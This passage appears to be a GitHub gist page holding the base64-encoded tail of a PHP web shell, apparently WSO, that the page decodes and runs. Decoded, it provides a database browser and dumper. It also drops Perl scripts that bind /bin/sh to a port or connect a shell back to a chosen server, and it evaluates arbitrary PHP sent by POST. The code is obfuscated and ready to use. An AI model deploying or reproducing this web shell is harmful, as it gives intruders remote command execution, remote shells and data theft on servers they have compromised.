J10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPC9zZWxlY3Q+JzsgDQogICAgICAgIH0gDQogICAgICAgIGVsc2UgZWNobyAkdG1wOyANCiAgICB9ZWxzZQ0KICAgICAgICBlY2hvICR0bXA7IA0KICAgIGVjaG8gIjwvdGQ+IA0KICANCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Picgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPiANCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zcWxfY291bnQgdmFsdWU9J29uJyIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiBjb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L3RkPiANCiAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICA8L3RhYmxlPiANCiAgICAgICAgPHNjcmlwdD4gDQogICAgICAgICAgICBzX2RiPSciLkBhZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7IA0KICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgeyANCiAgICAgICAgICAgICAgICBpZihmLnNxbF9iYXNlLnZhbHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9OyANCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMSkgZi5wMS52YWx1ZT0nJzsgDQogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7IA0KICAgICAgICAgICAgICAgICAgICBpZihmLnAzKSBmLnAzLnZhbHVlPScnOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGZ1bmN0aW9uIHN0KHQsbCkgeyANCiAgICAgICAgICAgICAgICBkLnNmLnAxLnZhbHVlID0gJ3NlbGVjdCc7IA0KICAgICAgICAgICAgICAgIGQuc2YucDIudmFsdWUgPSB0OyANCiAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOyANCiAgICAgICAgICAgICAgICBkLnNmLnN1Ym1pdCgpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBmdW5jdGlvbiBpcygpIHsgDQogICAgICAgICAgICAgICAgZm9yKGk9MDtpPGQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkgDQogICAgICAgICAgICAgICAgICAgIGQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgPC9zY3JpcHQ+IjsgDQogICAgaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspeyANCiAgICAgICAgZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsgDQogICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7IA0KICAgICAgICAgICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsgDQogICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7IA0KICAgICAgICAgICAgICAgICR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOyANCiAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgeyANCiAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7IA0KICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsgDQogICAgICAgICAgICAgICAgICAgICR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz0ic3QoJyIuJHZhbHVlLiInLDEpIj4iLiR2YWx1ZS4iPC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+KHskblsnbiddfSk8L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT0iZG93bmxvYWQiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsgDQogICAgICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0JykgeyANCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsgDQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsgDQogICAgICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJyAuICRfUE9TVFsncDInXSk7IA0KICAgICAgICAgICAgICAgICAgICAkbnVtID0gJGRiLT5mZXRjaCgpOyANCiAgICAgICAgICAgICAgICAgICAgJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7IA0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2NyaXB0PmQuc2Yub25zdWJtaXQ9ZnVuY3Rpb24oKXtzdCgiIiAuICRfUE9TVFsncDInXSAuICIiLCBkLnNmLnAzLnZhbHVlKX08L3NjcmlwdD48c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoeyRudW1bJ24nXX0gcmVjb3JkcykgUGFnZSAjIDxpbnB1dCB0eXBlPXRleHQgbmFtZT0ncDMnIHZhbHVlPSIgLiAoKGludCkkX1BPU1RbJ3AzJ10pIC4gIj4iOyANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiIG9mICRwYWdlcyI7IA0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPiAxKSANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10tMSkgLiAiKSc+Jmx0OyBQcmV2PC9hPiI7IA0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpIA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdCgiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSsxKSAuICIpJz5OZXh0ICZndDs8L2E+IjsgDQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXS0tOyANCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsgDQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOyANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7IA0KICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AyJ10pOyANCiAgICAgICAgICAgICAgICAgICAgaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlID0gZmFsc2U7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDE7IA0KICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpICB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkdGl0bGUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0cj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNldCgkaXRlbSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGU9dHJ1ZTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+PHRyPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9ICRsaW5lPT0xPzI6MTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHZhbHVlID09IG51bGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90YWJsZT4nOyANCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWNobyAiPGJyPjwvZm9ybT48Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT0icXVlcnkiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsgDQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDEnXSAhPSAnbG9hZGZpbGUnKSkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOyANCiAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOyANCiAgICAgICAgICAgICAgICBlY2hvICI8L3RkPjwvdHI+IjsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz4iOyANCiAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKSB7IA0KICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBjb25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3knIik7IA0KICAgICAgICAgICAgICAgIGlmKCRkYi0+ZmV0Y2goKSkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPSJsb2FkZmlsZSI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgeyANCiAgICAgICAgICAgICAgICAkZmlsZSA9ICRkYi0+bG9hZEZpbGUoJF9QT1NUWydwMiddKTsgDQogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOyANCiAgICAgICAgICAgIH0gDQogICAgfSBlbHNlIHsgDQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOyANCiAgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQpmdW5jdGlvbiBhY3Rpb25OZXR3b3JrKCkgeyANCiAgICB3c29IZWFkZXIoKTsgDQogICAgJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRVZTVWlrNyI7IA0KICAgICRiaW5kX3BvcnRfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsgDQogICAgZWNobyAiPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4gDQogIA0KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+IA0KICAgIDxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoIFtwZXJsXTwvc3Bhbj48YnIvPiANCiAgICBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+IA0KICAgIDwvZm9ybT4gDQogICAgPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2JjcCcsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4gDQogICAgPHNwYW4+QmFjay1jb25uZWN0ICBbcGVybF08L3NwYW4+PGJyLz4gDQogICAgU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+IA0KICANCiAgICA8L2Zvcm0+PGJyPiI7IA0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgIGZ1bmN0aW9uIGNmKCRmLCR0KSB7IA0KICAgICAgICAgICAgJHcgPSBAZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOyANCiAgICAgICAgICAgIGlmKCR3KXsgDQogICAgICAgICAgICAgICAgQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpOyANCiAgICAgICAgICAgICAgICBAZmNsb3NlKCR3KTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsgDQogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsgDQogICAgICAgICAgICAkb3V0ID0gd3NvRXgoInBlcmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncDInXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOyANCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOyANCiAgICAgICAgICAgIHVubGluaygiL3RtcC9icC5wbCIpOyANCiAgICAgICAgfSANCiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7IA0KICAgICAgICAgICAgY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7IA0KICAgICAgICAgICAgJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOyANCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOyANCiAgICAgICAgICAgIHVubGluaygiL3RtcC9iYy5wbCIpOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQpmdW5jdGlvbiBhY3Rpb25SQygpIHsgDQogICAgaWYoIUAkX1BPU1RbJ3AxJ10pIHsgDQogICAgICAgICRhID0gYXJyYXkoIA0KICAgICAgICAgICAgInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwgDQogICAgICAgICAgICAicGhwX3ZlcnNpb24iID0+IHBocHZlcnNpb24oKSwgDQogICAgICAgICAgICAid3NvX3ZlcnNpb24iID0+IFdTT19WRVJTSU9OLCANCiAgICAgICAgICAgICJzYWZlbW9kZSIgPT4gQGluaV9nZXQoJ3NhZmVfbW9kZScpIA0KICAgICAgICApOyANCiAgICAgICAgZWNobyBzZXJpYWxpemUoJGEpOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOyANCiAgICB9IA0KfSANCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKSANCiAgICBpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpIA0KICAgICAgICAkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsgDQogICAgZWxzZQ0KICAgICAgICAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsgDQppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKSANCiAgICBjYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsgDQpmdW5jdGlvbiBGZXRjaFVSTCgkdXJsKSB7IA0KICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7IA0KICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgIiRjaGVhZGVyIik7IA0KICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsgDQogICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBmYWxzZSk7IA0KICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7IA0KICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgDQogICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyANCiAgICAgICAgICRkYXRhID0gY3VybF9leGVjKCRjaCk7IA0KICAgICAgICAgaWYoISRkYXRhKSB7IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgIH0gDQogICAgICAgICByZXR1cm4gJGRhdGE7IA0KICAgICAgfSANCmV4aXQ7IA0KPz4=")); ?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment